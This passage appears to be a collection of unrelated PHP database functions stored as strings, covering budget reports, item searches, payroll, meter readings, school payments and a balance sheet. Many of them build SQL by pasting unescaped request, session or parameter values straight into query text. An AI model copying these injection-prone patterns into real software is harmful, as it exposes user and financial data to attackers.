(COST_JUL) COST_JUL,\n SUM (COST_AUG) COST_AUG,\n SUM (COST_SEP) COST_SEP,\n SUM (COST_OCT) COST_OCT,\n SUM (COST_NOV) COST_NOV,\n SUM (COST_DEC) COST_DEC,\n SUM (QTY_SETAHUN) QTY_SETAHUN,\n SUM (COST_SETAHUN) COST_SETAHUN\n FROM TMP_RPT_KEB_DEV_COST_BLOCK REPORT \n GROUP BY PERIOD_BUDGET,\n REGION_CODE,\n BA_CODE,\n ACTIVITY_DESC,\n TIPE_TRANSAKSI,\n ACTIVITY_CODE,\n SUB_COST_ELEMENT_DESC,\n COST_ELEMENT,\n SUB_COST_ELEMENT,\n KETERANGAN,\n UOM) ALL_ACT\n WHERE 1 = 1\n $where \n ) REPORT\n ON MAPP.MATURITY_STAGE = REPORT.TIPE_TRANSAKSI\n AND MAPP.ACTIVITY_CODE = REPORT.ACTIVITY_CODE\n AND NVL (MAPP.COST_ELEMENT, 'NA') =\n NVL (REPORT.COST_ELEMENT, 'NA')\n LEFT JOIN TM_ORGANIZATION ORG\n ON ORG.BA_CODE = REPORT.BA_CODE\n WHERE REPORT.ACTIVITY_CODE IS NOT NULL\n ORDER BY REPORT.PERIOD_BUDGET,\n REPORT.BA_CODE,\n $order_group\n REPORT.ACTIVITY_CODE,\n REPORT.COST_ELEMENT,\n REPORT.KETERANGAN\n \";\n \n $sql = \"SELECT COUNT(*) FROM ({$query})\";\n $result['count'] = $this->_db->fetchOne($sql);\n $rows = $this->_db->fetchAll(\"{$query}\");\n \n if (!empty($rows)) {\n foreach ($rows as $idx => $row) {\n $result['rows'][] = $row;\n }\n }\n /* ################################################### generate excel kebutuhan aktivitas estate cost (BA) ################################################### */\n \n return $result;\n }", "public function searchBarang($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n\t\t/* $query->joinWith(['sup' => function ($q) {\n\t\t\t$q->where('d0001.NM_DISTRIBUTOR LIKE \"%' . $this->nmsuplier . '%\"');\n\t\t}]); */\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n // $query->joinWith(['tipebg' => function ($q) {\n // $q->where('b1001.NM_TYPE LIKE \"%' . $this->tipebrg . '%\"');\n // }]);\n\n // $query->joinWith(['kategori' => function ($q) {\n // $q->where('b1002.NM_KATEGORI LIKE \"%' . $this->nmkategori . '%\"');\n // }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\t\t\t\t\t'corp.CORP_NM' => [\n\t\t\t\t\t\t\t'asc' => ['u0001.CORP_NM' => SORT_ASC],\n\t\t\t\t\t\t\t'desc' => ['u0001.CORP_NM' => SORT_DESC],\n\t\t\t\t\t\t\t// 'label' => 'Unit Barang',\n\t\t\t\t\t],\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t// ->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t\t ->andFilterWhere(['like', 'b0001.KD_CORP', $this->getAttribute('corp.CORP_NM')])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getDetailPindahBukuStruk($conn, $r_unit, $i_pegawai, $r_periode, $sqljenis) {\n\n //data gaji\n $sql = \"select g.*,p.nip,\" . static::schema . \".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap, \n\t\t\t\t\tcase when h.struktural is not null then s.jabatanstruktural else 'Staff' end as jabatanstruktural\n\t\t\t\t\tfrom \" . static::table('ga_gajipeg') . \" g \n\t\t\t\t\tleft join \" . static::table('ga_historydatagaji') . \" h on h.idpeg=g.idpegawai and h.gajiperiode = g.periodegaji\n\t\t\t\t\tleft join \" . static::table('ms_pegawai') . \" p on p.idpegawai=g.idpegawai\n\t\t\t\t\tleft join \" . static::table('ms_unit') . \" u on u.idunit=h.idunit\n\t\t\t\t\tleft join \" . static::table('ms_struktural ') . \" s on s.idjstruktural=h.struktural\n\t\t\t\t\twhere g.periodegaji='$r_periode' {$sqljenis} and u.parentunit = $r_unit\";\n if (!empty($i_pegawai))\n $sql .= \" and g.idpegawai not in ($i_pegawai)\";\n\n $sql .=\" order by s.infoleft\";\n\n $rs = $conn->Execute($sql);\n\n $a_data = array();\n while ($row = $rs->FetchRow())\n $a_data[] = $row;\n\n return $a_data;\n }", "public function getKorisnici()\n {\n $query = $this->db->query(\"SELECT * FROM KORISNIK ORDER BY br_poena DESC\");\n\n $korisnici = array();\n \n foreach($query->result() as $row)\n {\n array_push($korisnici,$row);\n }\n\n return $korisnici;\n }", "public function searchBarangGSN($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"GSN\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function get_baca_rbm($id, $tgl) {\n\t\t$id = intval($id);\n\t\t$d = substr($tgl, 0, 2);\n\t\t$m = substr($tgl, 2, 2);\n\t\t$y = substr($tgl, 4, 4);\n\t\t$date = $y . '-' . $m . '-' . $d;\n\t\t\n\t\t$r = array();\n\t\t$this->db->query(\"START TRANSACTION\");\n\t\t$tn = 0;\n\t\n\t\t$run = $this->db->query(\"SELECT a.ID_KETERANGAN_BACAMETER, a.ID_PELANGGAN, a.KIRIM_BACAMETER, TIME(a.TANGGAL_BACAMETER) AS JAM, a.LWBP_BACAMETER, a.WBP_BACAMETER, a.KVARH_BACAMETER, c.DAYA_PELANGGAN, c.TARIF_PELANGGAN FROM bacameter a, rincian_rbm b, pelanggan c WHERE DATE(a.TANGGAL_BACAMETER) = '$date' AND a.ID_PELANGGAN = b.ID_PELANGGAN AND b.ID_RBM = '$id' AND a.ID_PELANGGAN = c.ID_PELANGGAN AND (a.KIRIM_BACAMETER = 'W' OR a.KIRIM_BACAMETER = 'H') ORDER BY a.TANGGAL_BACAMETER DESC\");\n\t\tfor ($i = 0; $i < count($run); $i++) {\n\t\t\t$srun = $this->db->query(\"SELECT `NAMA_KETERANGAN_BACAMETER` FROM `keterangan_bacameter` WHERE `ID_KETERANGAN_BACAMETER` = '\" . $run[$i]->ID_KETERANGAN_BACAMETER . \"'\", TRUE);\n\t\t\t$keterangan = (empty($srun) ? 'Normal' : $srun->NAMA_KETERANGAN_BACAMETER);\n\t\t\tif ($keterangan != 'Normal') $tn++;\n\t\t\t\n\t\t\t$r[] = array(\n\t\t\t\t'idpel' => $run[$i]->ID_PELANGGAN,\n\t\t\t\t'jam' => $run[$i]->JAM,\n\t\t\t\t'lwbp' => $run[$i]->LWBP_BACAMETER,\n\t\t\t\t'wbp' => $run[$i]->WBP_BACAMETER,\n\t\t\t\t'kvarh' => $run[$i]->KVARH_BACAMETER,\n\t\t\t\t'tarif' => $run[$i]->TARIF_PELANGGAN,\n\t\t\t\t'daya' => $run[$i]->DAYA_PELANGGAN,\n\t\t\t\t'keterangan' => $keterangan,\n\t\t\t\t'kirim' => ($run[$i]->KIRIM_BACAMETER == 'W' ? 'WEB' : 'HP')\n\t\t\t);\n\t\t}\n\t\t\n\t\t$trbm = $this->db->query(\"SELECT COUNT(`ID_RINCIAN_RBM`) AS `HASIL` FROM `rincian_rbm` WHERE `ID_RBM` = '$id'\", TRUE);\n\t\t$total = $trbm->HASIL;\n\t\t\n\t\t$this->db->query(\"COMMIT\");\n\t\treturn array(\n\t\t\t'total' => $total,\n\t\t\t'data' => $r,\n\t\t\t'tidaknormal' => $tn\n\t\t);\n\t}", "function get_data_absen($bulan)\n {\n // $query = \"SELECT DISTINCT (nama) FROM ($query) AS tab\";\n $query = \"SELECT nama FROM user_ho WHERE akses = 'user_g' ORDER BY nama ASC\";\n $data = $this->db->query($query)->result();\n return $data;\n }", "function listQueryBaru() {\n\t\t\t$sql = \"select r.* from \".self::table('v_kelas3new').\" r join gate.ms_unit u on r.kodeunit = u.kodeunit\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function daftar_nama_side_unit(){\n\t\t/*return $w = $this->db->query(\"select * from unit WHERE kode_unit='\".$this->get_session_unit().\"' AND kode_bahasa='\".$this->lang.\"' \")->result();*/\n\t\t//$query = \"SELECT * from unit WHERE kode_unit='67' AND kode_bahasa='id'\";\n\t\t$query = \"SELECT * FROM unit WHERE kode_unit = '\".$this->get_session_unit().\"' AND kode_bahasa = '\".$this->lang.\"'\";\n\t\t$sql = $this->db->query($query);\n\t\treturn $sql->row_array();\n\t}", "function get_mhs_bimbingan_ta($periode = '2'){\n\t\t\t//DETAIL PERIODE :\n\t\t\t\t// 0 = Untuk bimbingan komprehensif\n\t\t\t\t// 1 = untuk bimbingan seminar proposal\n\t\t\t\t// 2 = untuk bimbingan tugas akhir\n\t\t\t\t// 3 = untuk bimbingan tertutup\n\t\t\t\t// 4 = untuk bimbingan terbuka\n\n\t\t\t$kd_dosen = $this->session->userdata('kd_dosen');\n\t\t\t$data = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\t'http://service.uin-suka.ac.id/servtugasakhir/sia_skripsi_public/sia_skripsi_bimbingan/jadwalTA',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode'\t\t=> 1000,\n\t\t\t\t\t\t\t'api_subkode'\t=> 1,\n\t\t\t\t\t\t\t'api_search'\t=> array($kd_dosen, $periode)\n\t\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\treturn $data;\n\t\t}", "public function get_pago_boleta_cobro($codigo, $cuenta = '', $banco = '', $alumno = '', $referencia = '', $periodo = '', $carga = '', $programado = '', $empresa = '', $fini = '', $ffin = '', $orderby = '', $facturado = ''){\n $pensum = $this->pensum;\n\n $sql= \"SELECT *, \";\n $sql.= \" (SELECT CONCAT(alu_nombre,' ',alu_apellido) FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_nombre_completo,\";\n $sql.= \" (SELECT alu_nit FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_nit,\";\n $sql.= \" (SELECT alu_cliente_nombre FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_cliente_nombre,\";\n $sql.= \" (SELECT bol_motivo FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado AND pag_alumno = pag_alumno ORDER BY pag_referencia LIMIT 0 , 1) as bol_motivo,\";\n $sql.= \" (SELECT bol_fecha_pago FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_fecha_pago,\";\n $sql.= \" (SELECT bol_monto FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_monto,\";\n $sql.= \" (SELECT bol_descuento FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_descuento,\";\n $sql.= \" (SELECT bol_tipo FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY bol_tipo LIMIT 0 , 1) as bol_tipo,\";\n ///-- INSCRIPCION\n $sql.= \" (SELECT CONCAT(alu_nombre,' ',alu_apellido) FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_nombre_completo,\";\n $sql.= \" (SELECT alu_nit FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_nit,\";\n $sql.= \" (SELECT alu_cliente_nombre FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_cliente_nombre,\";\n //--subqueryes de facturas y recibos\n $sql.= \" (SELECT fac_numero FROM boletas_factura_boleta WHERE fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY fac_numero LIMIT 0 , 1) as fac_numero,\";\n $sql.= \" (SELECT fac_serie FROM boletas_factura_boleta WHERE fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY fac_serie LIMIT 0 , 1) as fac_serie,\";\n $sql.= \" (SELECT ser_numero FROM boletas_factura_boleta,vnt_serie WHERE fac_serie = ser_codigo AND fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY ser_numero LIMIT 0 , 1) as fac_serie_numero,\";\n $sql.= \" (SELECT rec_numero FROM boletas_recibo_boleta WHERE rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY rec_numero LIMIT 0 , 1) as rec_numero,\";\n $sql.= \" (SELECT rec_serie FROM boletas_recibo_boleta WHERE rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY rec_serie LIMIT 0 , 1) as rec_serie,\";\n $sql.= \" (SELECT ser_numero FROM boletas_recibo_boleta,vnt_serie_recibo WHERE rec_serie = ser_codigo AND rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY ser_numero LIMIT 0 , 1) as rec_serie_numero,\";\n //-- subquery grado\n $sql.= \" (SELECT TRIM(gra_descripcion) FROM academ_grado, academ_grado_alumno\";\n $sql.= \" WHERE gra_pensum = $pensum\";\n $sql.= \" AND graa_pensum = gra_pensum\";\n $sql.= \" AND graa_nivel = gra_nivel\";\n $sql.= \" AND graa_grado = gra_codigo\";\n $sql.= \" AND graa_alumno = pag_alumno ORDER BY graa_grado DESC LIMIT 0 , 1) AS alu_grado_descripcion,\";\n //-- subquery seccion\n $sql.= \" (SELECT TRIM(sec_descripcion) FROM academ_secciones,academ_seccion_alumno\";\n $sql.= \" WHERE seca_pensum = $pensum\";\n $sql.= \" AND seca_pensum = sec_pensum\";\n $sql.= \" AND seca_nivel = sec_nivel\";\n $sql.= \" AND seca_grado = sec_grado\";\n $sql.= \" AND seca_seccion = sec_codigo\";\n $sql.= \" AND seca_alumno = pag_alumno ORDER BY seca_seccion LIMIT 0 , 1) AS alu_seccion_descripcion\";\n //--\n $sql.= \" FROM boletas_pago_boleta, fin_cuenta_banco, fin_banco, fin_moneda, fin_tipo_cuenta\";\n $sql.= \" WHERE pag_cuenta = cueb_codigo\";\n $sql.= \" AND pag_banco = cueb_banco\";\n $sql.= \" AND cueb_banco = ban_codigo\";\n $sql.= \" AND cueb_tipo_cuenta = tcue_codigo\";\n $sql.= \" AND cueb_moneda = mon_id\";\n //$sql.= \" AND pag_situacion != 1\";\n if (strlen($codigo)>0) {\n $sql.= \" AND pag_codigo = $codigo\";\n }\n if (strlen($cuenta)>0) {\n $sql.= \" AND pag_cuenta = $cuenta\";\n }\n if (strlen($banco)>0) {\n $sql.= \" AND pag_banco = $banco\";\n }\n if (strlen($alumno)>0) {\n $sql.= \" AND pag_alumno = '$alumno'\";\n }\n if (strlen($referencia)>0) {\n $sql.= \" AND pag_referencia = '$referencia'\";\n }\n if (strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo\";\n }\n if (strlen($carga)>0) {\n $sql.= \" AND pag_carga = '$carga'\";\n }\n if (strlen($programado)>0) {\n $sql.= \" AND pag_programado = '$programado'\";\n }\n if (strlen($empresa)>0) {\n $sql.= \" AND cueb_sucursal = $empresa\";\n }\n if ($fini != \"\" && $ffin != \"\") {\n $fini = $this->regresa_fecha($fini);\n $ffin = $this->regresa_fecha($ffin);\n $sql.= \" AND pag_fechor BETWEEN '$fini 00:00:00' AND '$ffin 23:59:00'\";\n }\n if (strlen($facturado)>0) {\n $sql.= \" AND pag_facturado = $facturado\";\n }\n if (strlen($orderby)>0) {\n switch ($orderby) {\n case 1: $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, pag_referencia ASC\"; break;\n case 2: $sql.= \" ORDER BY pag_fechor ASC, ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC\"; break;\n case 3: $sql.= \" ORDER BY pag_alumno ASC, pag_referencia ASC, pag_fechor ASC\"; break;\n case 4: $sql.= \" ORDER BY bol_tipo ASC, cueb_codigo ASC, pag_alumno ASC, pag_fechor ASC, pag_referencia ASC\"; break;\n default: $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, bol_referencia ASC\"; break;\n }\n } else {\n $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, pag_referencia ASC\";\n }\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br><br>\";\n return $result;\n }", "public function searchBarangESM($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"ESM\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n\t\t$query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getNamaUnit($conn,$r_kodeunit){\n\t\t$sql = \"select namaunit from \" . static::table('ms_unit') . \" where kodeunit = '$r_kodeunit'\";\n\t\t\n\t\treturn $conn->GetOne($sql);\n\t}", "function neraca_search($buku_periode, $buku_tglawal, $buku_tglakhir, $buku_bulan, \r\n\t\t\t\t\t\t\t\t$buku_tahun, $buku_akun, $start,$end, $neraca_jenis){\r\n\r\n\t\t\tif($neraca_jenis=='Aktiva'){\r\n\t\t\t\t$neraca_jenis\t= 1;\r\n\t\t\t\t$neraca_jenis3\t= 1;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$neraca_jenis\t= 2;\r\n\t\t\t\t$neraca_jenis3\t= 3;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t//AKUN LEVEL 1\r\n\t\t\t$sql = \"SELECT \r\n\t\t\t\t\t\tA.akun_id, A.akun_saldo, A.akun_kode, A.akun_jenis, A.akun_nama, A.akun_level,\r\n\t\t\t\t\t\tB.akun_id as akun_parent_id, B.akun_nama as akun_parent\r\n\t\t\t\t\tFROM akun A, akun B\r\n\t\t\t\t\tWHERE \r\n\t\t\t\t\t\tA.akun_level=3 AND \r\n\t\t\t\t\t\tA.akun_parent_kode=B.akun_kode AND \r\n\t\t\t\t\t\tA.akun_jenis='BS' AND \r\n\t\t\t\t\t\tB.akun_level=2 AND \r\n\t\t\t\t\t\t(A.akun_kode LIKE '__.\".$neraca_jenis.\"%' OR A.akun_kode LIKE '__.\".$neraca_jenis3.\"%')\r\n\t\t\t\t\tORDER by A.akun_kode ASC\";\r\n\r\n\t\t\t$master=$this->db->query($sql);\r\n\t\t\t//$this->firephp->log($sql);\r\n\t\t\t$nbrows=$master->num_rows();\r\n\r\n\t\t\t$saldo=0;\r\n\t\t\t$saldo_akhir=0;\r\n\t\t\t$i=0;\r\n\t\t\t$total_nilai_periode=0;\r\n\t\t\t$total_nilai=0;\r\n\t\t\t\r\n\t\t\tforeach($master->result() as $row){\r\n\t\t\t\r\n\t\t\t\t//s/d bulan ini\r\n\t\t\t\t\r\n/*\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n*/\r\n\t\t\t\t$sql = \"SELECT \r\n\t\t\t\t\t\t\tA.akun_kode,\r\n\t\t\t\t\t\t\tsum(B.buku_debet) as debet,\r\n\t\t\t\t\t\t\tsum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM buku_besar B, akun A\r\n\t\t\t\t\t\tWHERE \r\n\t\t\t\t\t\t\tB.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n\t\t\t\t\t\r\n\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m')<='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t}\r\n\t\t\t\t//$sql.=\"GROUP BY A.akun_kode\";\r\n\t\t\t\t$sql.=\"\tORDER BY A.akun_kode ASC\";\r\n\t\t\t\t//$this->firephp->log($sql);\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//GET SALDO BEFORE\r\n\t\t\t\t$data[$i][\"neraca_saldo\"]=0;\r\n\r\n\t\t\t\t$sqlsaldo = \"SELECT \r\n\t\t\t\t\t\t\t\t\tA.akun_kode, sum(A.akun_debet) as debet, sum(A.akun_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM vu_akun A\r\n\t\t\t\t\t\t\t\tWHERE replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\";\r\n\t\t\t\t\r\n\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\r\n\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\t$rowsaldo=$rssaldo->row();\r\n\t\t\t\t\tif($rowsaldo->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t$saldo_akhir= ($rowsaldo->debet-$rowsaldo->kredit);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$saldo_akhir= ($rowsaldo->kredit-$rowsaldo->debet);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t//$saldo_akhir=0;\r\n\t\t\t\t//$this->firephp->log($sqlsaldo.' '.$saldo_akhir.'<br/>');\r\n\t\t\t\t//----->\r\n\r\n\t\t\t\t$isi=$this->db->query($sql);\r\n\t\t\t\t//$this->firephp->log($sql);\r\n\t\t\t\t\r\n\t\t\t\tif($isi->num_rows()){\r\n\t\t\t\t\t$rowisi=$isi->row();\r\n\t\t\t\t\t$data[$i][\"neraca_akun\"]=$row->akun_id;\r\n\t\t\t\t\t$data[$i][\"neraca_level\"]=$row->akun_level;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis\"]=$row->akun_parent;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis_id\"]=$row->akun_parent_id;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_kode\"]=$row->akun_kode;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_nama\"]=$row->akun_nama;\r\n\r\n\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir+($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir+($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data[$i][\"neraca_akun\"]=$row->akun_id;\r